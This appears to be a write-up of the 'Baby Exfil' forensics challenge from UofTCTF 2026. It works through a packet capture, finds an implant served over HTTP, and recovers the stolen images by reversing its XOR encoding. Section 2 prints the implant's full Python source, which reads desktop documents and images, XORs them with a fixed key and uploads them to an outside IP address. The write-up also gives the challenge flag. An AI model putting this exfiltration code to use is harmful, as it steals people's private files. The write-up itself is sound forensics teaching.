UofTCTF 2026 — Baby Exfil Writeup
A packet capture of a data-exfiltration implant that steals images off a Windows desktop, XORs them with a hard-coded key and POSTs them as hex. The served malware ships the key, so the whole capture decrypts back to the stolen files.
UofTCTF 2026 — Baby Exfil
A network-forensics challenge about a tiny exfiltration implant and the fact that the attacker handed us its source code.
- Event: UofTCTF 2026
- Category: Forensics
- Artifact:
final.pcapng.xz→final.pcapng - Flag format:
uoftctf{...}
1. Separating signal from cloud noise
The capture is 19,084 packets and most of it is a normal Windows desktop talking to the internet: TLS on 443, QUIC on UDP/443, MSN/Bing/Google resolves. Filtering by conversation makes the odd one stand out — a client at 10.0.2.15 talking plain HTTP to a single host on a non-standard port:
TCP 10.0.2.15 -> 34.134.77.90:8080 POST /upload (x5)
TCP 10.0.2.15 -> 35.238.80.16:8000 GET /JdRlPr1.pyTwo servers, two roles: :8000 hands out a script, :8080 receives uploads. The replies from :8080 identify it as Werkzeug/2.2.2 Python/3.11.2, and :8000 as SimpleHTTP/0.6 Python/3.11.2 — a python -m http.server staging directory with exactly one file in it.
2. The implant, served in the clear
The GET /JdRlPr1.py response is 907 bytes of readable Python (the second request gets a 304 Not Modified). It is short enough to read in full:
import os
import requests
key = "G0G0Squ1d3Ncrypt10n"
server = "http://34.134.77.90:8080/upload"
def xor_file(data, key):
result = bytearray()
for i in range(len(data)):
result.append(data[i] ^ ord(key[i % len(key)]))
return bytes(result)
base_path = r"C:\Users\squid\Desktop"
extensions = ['.docx', '.png', ".jpeg", ".jpg"]
for root, dirs, files in os.walk(base_path):
for file in files:
if any(file.endswith(ext) for ext in extensions):
filepath = os.path.join(root, file)
try:
with open(filepath, 'rb') as f:
content = f.read()
encrypted = xor_file(content, key)
hex_data = encrypted.hex()
requests.post(server, files={'file': (file, hex_data)})
print(f"Sent: {file}")
except:
passThat is the entire threat. It walks C:\Users\squid\Desktop, and for every .docx, .png, .jpeg or .jpg it reads the bytes, XORs them against the repeating key G0G0Squ1d3Ncrypt10n, hex-encodes the result and POSTs it as a multipart file field. No encryption beyond a fixed XOR, no key exchange — the key travels inside the tool itself.
3. The uploads are just hex text
Each POST /upload is multipart/form-data with User-Agent: python-requests/2.32.5 and a single file part whose filename is the original name on disk:
3G2BHzj.jpeg 390,835 B
fZQ6WcI.png 737,768 B
HNderw.png 493,047 B
oMdVph0.jpeg 59,275 B
wYTCtRu.jpeg 191,178 BThe body is not binary — it is the ASCII hex string that content.hex() produced, so the 781 KB POST is really a 390 KB file. Reassembling each TCP stream, cutting the part body at the multipart boundary, bytes.fromhex()-ing it and XORing with the key from the script inverts the implant exactly:
from scapy.all import PcapReader, IP, TCP, Raw
import re
KEY = b"G0G0Squ1d3Ncrypt10n"
streams = {}
with PcapReader("final.pcapng") as pr:
for p in pr:
if IP in p and TCP in p and Raw in p and p[TCP].dport == 8080:
k = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
streams.setdefault(k, []).append((p[TCP].seq, bytes(p[TCP].payload)))
for k, pkts in streams.items():
pkts.sort()
data = b"".join(b for _, b in pkts)
if not data.startswith(b"POST /upload"):
continue
name = re.search(rb'filename="([^"]+)"', data).group(1).decode()
body = re.split(rb'\r\n--', data.split(b'filename', 1)[1].split(b'\r\n\r\n', 1)[1])[0].strip()
cipher = bytes.fromhex(body.decode())
plain = bytes(c ^ KEY[i % len(KEY)] for i, c in enumerate(cipher))
open(name, "wb").write(plain)
print(name, len(plain), plain[:4])The recovered bytes carry real magic numbers — ff d8 ff db and ff d8 ff e0 for JPEG, 89 50 4e 47 0d 0a 1a 0a for PNG — which is the confirmation the key is right.
4. Reading the stolen files
Five images come back: a dog on a mountain, a Windows 7 desktop, a grumpy cat, an anime screenshot, and — pasted straight across the anime screenshot — the flag.
uoftctf{b4by_w1r3sh4rk_an4lys1s}The data the attacker wanted was the files on the desktop; the one that mattered was a screenshot the implant didn't know was there.
5. Flag
uoftctf{b4by_w1r3sh4rk_an4lys1s}The lesson is the oldest one in the book: never ship the key with the tool. A repeating-key XOR is only as strong as the secret's secrecy, and here the secret was served over plain HTTP from the same capture that carried the ciphertext.
What do you think?
React to show your appreciation